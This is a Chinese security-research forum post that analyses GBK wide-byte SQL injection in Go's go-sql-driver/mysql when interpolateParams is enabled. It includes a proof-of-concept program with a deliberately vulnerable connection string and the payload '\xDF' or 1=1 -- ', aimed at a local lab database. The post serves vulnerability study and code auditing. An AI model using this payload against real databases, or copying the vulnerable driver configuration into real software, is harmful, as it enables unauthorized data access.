-
-
[原创]【Golang】interpolateParams参数导致的宽字节注入
-
发表于: 3天前 1149
-
最近在研究Golang的代码审计,分享一个SQL注入中经典的宽字节注入问题。
该漏洞的利用条件是:
MySQL库/表均采用GBK编码(必须GBK,GB2312不行);
客户端go-sql-driver/mysql驱动DSN配置 charset=gbk&interpolateParams=true
这里面有一个关键参数interpolateParams,他的官方解释为:interpolateParams
interpolateParams
Type: bool Valid Values: true, false Default: false
If interpolateParams
is true, placeholders (?
) in calls to db.Query()
and db.Exec()
are interpolated into a single query string with given parameters. This reduces the number of roundtrips, since the driver has to prepare a statement, execute it with given parameters and close the statement again with interpolateParams=false
.
This can not be used together with the multibyte encodings BIG5, CP932, GB2312, GBK or SJIS. These are blacklisted as they may introduce a SQL injection vulnerability!
翻译大致意思为:
如果 interpolateParams
设置为 true
,则在调用 db.Query()
和 db.Exec()
时,占位符(?)会被给定的参数插值到一个单一的查询字符串中。减少了交互次数,因为当 interpolateParams
设置为 false
时,驱动程序需要预编译语句,用给定的参数执行语句,然后再关闭这条语句。
此功能不能与多字节编码 BIG5、CP932、GB2312、GBK 或 SJIS 一起使用。这些编码被列为黑名单,因为它们可能会引入 SQL 注入漏洞!
说白了就是平常预编译都是在服务端做的,当interpolateParams设置为true时,会在客户端将SQL预编译好发送给服务端,减少了交互次数,提升了性能。
所以关注的重点是客户端如何做的预编译?先准备一段宽字节注入的POC:
package main import ( "SQLi/model" "database/sql" "fmt" _ "github.com/go-sql-driver/mysql" "log" ) type UserRepository struct { db *sql.DB } func NewUserRepository(db *sql.DB) *UserRepository { return &UserRepository{db: db} } func GetDB(username, password string) (*sql.DB, error) { //ALTER DATABASE go_sec_labs CHARACTER SET = gbk COLLATE = gbk_chinese_ci; //ALTER TABLE `user` CONVERT TO CHARACTER SET gbk COLLATE gbk_chinese_ci; db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(localhost:3306)/go_sec_labs2?charset=gbk&interpolateParams=true", username, password)) if err != nil { return nil, err } return db, nil } func (repo *UserRepository) SelectByName(name string) ([]model.User, error) { query := "SELECT id, name, age, sex, password FROM user WHERE name = ?" rows, err := repo.db.Query(query, name) if err != nil { log.Println(err) return nil, err } defer rows.Close() return repo.orm2User(rows) } func (repo *UserRepository) orm2User(rows *sql.Rows) ([]model.User, error) { var users []model.User for rows.Next() { var user model.User if err := rows.Scan(&user.Id, &user.Name, &user.Age, &user.Sex, &user.Password); err != nil { log.Printf("Failed to scan row: %v", err) continue } users = append(users, user) } if err := rows.Err(); err != nil { log.Printf("Row iteration error: %v", err) return nil, err } return users, nil } func main() { // 初始化数据库连接 db, err := GetDB("username", "password") if err != nil { log.Fatalf("Get db error: %v", err) } defer db.Close() // 确保程序结束时关闭数据库连接 userRepo := NewUserRepository(db) users, err := userRepo.SelectByName("\xDF' or 1=1 -- ") if err != nil { log.Fatalf("SelectByName error: %v", err) } for _, user := range users { fmt.Println(user) } }
执行预编译的代码位于go-sql-driver/mysql@v1.8.1/connection.go的interpolateParams方法,将断点打在这个方法内部,由于SQL注入主要针对输入为字符串的情况,所以将断点打在case string:这里:
此时的buf的内容是SQL去除了占位符 ? ,此时要在name = 之后拼接一个字符串,它要先在字符串的左边拼一个单引号,接下来会进入escapeStringBackslash函数,对payload中的敏感字符做转义。
因为接下来要操作buf有效长度之后的区域,所以此处做了一个扩容,增加的容量是payload长度×2:
我们的payload是13字节,所以扩容之后的长度变为了60 + 13 × 2 = 86:
我们的payload中只有一个敏感字符单引号 ',所以直接看这里case '\'':
此处将单引号放到buf后+1的位置,然后再在前面加了个转义符\,此时payload中的 ' 就被替换成了 \'。
从escapeStringBackslash函数返回后,这里再在buf末尾添加一个单引号 ',用于闭合289行添加的单引号:
至此,经过预编译的SQL就变为了:
按理来讲,payload中的单引号 ' 已经被转义,不会闭合前面的引号,但问题在于我们在payload前面构造了一个字节0xDF,可以用Wireshark抓包,看看实际发送到服务端的SQL是:
0x5C是 \ 的ASCII码,由于我们采用了GBK编码,我们构造的0xDF刚好和0x5C刚好构成了GBK中的一个汉字“運”:
所以实际发送到服务端的SQL可看作:
SELECT id, name, age, sex, password FROM user WHERE name = '運' or 1=1 -- '
用于转义的 \ 被吃掉了,造成了注入。
之前官方解释说interpolateParams=true时可以减少交互次数,我们来看看怎么回事。先将interpolateParams设为false,执行一次查询,用Wireshark抓包:
可以看到有三次请求,
第一次Prepare Statement,此时发送的SQL还是带占位符 ? 的:
第二次 Execute Statement,将payload发送给服务端:
第三次 Close Statement,将这条语句关闭:
在上面的过程中,预编译是在服务端做的。
而将interpolateParams设置为true之后,再次抓包可见:只有一次Query请求,直接将预编译好的SQL发送给服务端,减少了交互次数就提高了性能。
参考
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]【Golang】interpolateParams参数导致的宽字节注入 1150
- [原创]从底层视角看面向对象 6932
- [原创]C语言的文件与缓冲区 5220
- [原创]CC1利用链分析 5465
- [原创]VC++6调试状态下的堆结构 5283